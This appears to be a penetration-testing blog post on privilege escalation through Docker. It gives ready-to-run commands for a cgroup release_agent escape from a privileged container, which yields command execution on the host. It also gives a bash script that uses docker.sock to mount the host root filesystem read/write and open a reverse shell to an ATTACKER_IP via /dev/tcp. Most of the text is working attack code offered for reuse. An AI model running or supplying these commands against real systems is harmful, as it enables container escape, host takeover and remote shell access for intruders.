There are several ways docker can help provide an avenue for privilege escalation in unique ways. Here’s a few interesting & practical ones I’ve come across.

–privileged

If you find yourself within a docker container and either are or can become root within the container, if the container is run with --privileged there’s a good chance you can get code execution on the host.

Technically, you don’t have to be running within a --privileged container. The minimum requirements could also be met with flags --security-opt apparmor=unconfined --cap-add=SYS_ADMIN

To gain code execution on the host, run the following within the container:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

And to checkout the results, look in /output:

cat /output

To execute other commands, just replace ps aux > $host_path/output with the command(s) you want to run. Keep in mind that if you don’t write anything to $host_path/output, there won’t be any visible output from the command execution. If you get errors on subsequent runs, double check the file permissions ls -al /output. If it looks wonked, then try outputing to a different file such as output2.

For a more in-depth write-up, check out this post on Trail of Bits

docker.sock

If you’re able to communicate with docker.sock, you are in a good spot to get read/write access to the host’s file system.

Checkout available images:

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
#!/bin/bash

ATTACKER_IP=10.10.10.10          # IP of attacker host running nc listener
ATTACKER_PORT=8888               # Port on the nc listener on the attacker host
DOCKER_IMAGE=sandbox             # Name of the docker image to use as the base
CONTAINER_NAME=docker_root_fs    # Name of the new container

# Define the command to execute when the new container starts up
# This version executes a simple bash reverse shell from the rootfs mount /tmp, but it could be swapped out for anything else
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'\\\"\"]"

# Create the new container:
#  - use the provided image
#  - mount the host's root file system to /tmp as read/write
#  - execute the command on container start-up
curl -s -X POST --unix-socket /var/run/docker.sock -d "{\"Image\": \"$DOCKER_IMAGE\", \"Binds\": [\"/:/tmp:rw\"], \"cmd\": $cmd}" -H 'Content-Type: application/json' http://localhost/containers/create?name=$CONTAINER_NAME

# Fire up the container!
curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_NAME/start

The reverse shell received from this will be within the new container instance at the root of the host file system via the read/write mount attached to the container. From here, wash/rinse/repeat enumeration for a foothold on the docker host.